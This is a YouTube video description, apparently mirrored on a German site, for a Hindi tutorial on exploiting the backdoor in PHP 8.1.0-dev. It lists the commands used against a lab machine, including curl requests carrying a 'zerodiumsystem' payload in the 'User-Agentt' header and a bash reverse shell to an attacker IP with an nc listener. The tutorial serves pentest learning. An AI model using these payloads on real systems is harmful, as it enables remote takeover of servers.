PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | Manual Exploit | Hindi

Veröffentlicht am: 26 Februar 2022
auf dem Kanal: PentestHint - The Tech Fellow

1,484

#PHP #RCE #Exploit

🚀 Join Our Discord Community!
Be a part of our exclusive community for discussions, Q&A, and networking with like-minded enthusiasts!

👉 Click here to join: / discord

Categories we cover:
🎥 Video Discussions – Share your thoughts and ideas!
💡 On-Demand Discussions – Get help and share knowledge in real-time.
💼 Job Opportunities – Explore career opportunities and tips.

Let’s grow and learn together!

PHP verion 8.1.0-dev was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.

The original code was restored after the issue was discovered, but then tampered with a second time. The breach would have created a backdoor in any websites that ran the compromised version of PHP, enabling hackers to perform remote code execution on the site.

Reference:
https://www.exploit-db.com/exploits/4...
https://flast101.github.io/php-8.1.0-...
https://github.com/flast101/php-8.1.0...

Commands Used in Video:
Curl -I url
Got php8.1.0-dev

Searchsploit php 8.1.0
Got useragent rce

Python3 -m http.server 80
curl http://10.10.10.242/index.php -H 'User-Agentt: zerodiumsystem("curl 10.10.14.18");'

Nc -lvnp 1234
curl http://10.10.10.242/index.php -H "User-Agentt: zerodiumsystem(\"bash -c 'bash -i &/dev/tcp/10.10.14.18/1234 0(greaterthan sign)&1 '\");"

Covers:
remote code execution
remote code execution poc
remote code execution vulnerability
remote code execution tutorial
remote code execution in hindi
remote code execution (rce)
laravel remote code execution
arbitrary code execution
remote code execution bug bounty
remote command execution youtube
code execution
remote code execution php
php remote code execution
remote code execution cve
remote code execution attack
remote command execution

Auf dieser Seite können Sie das Online-Video PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | Manual Exploit | Hindi mit der Dauer stunde minuten sekunde in guter Qualität ansehen, das der Benutzer PentestHint - The Tech Fellow 26 Februar 2022 hochgeladen hat, den Link mit Freunden und Bekannten teilen, dieses Video wurde auf Youtube bereits 1,484 Mal angesehen und es wurde von 27 den Zuschauern gefallen. Viel Spaß beim Betrachtenden Zuschauern gefallen!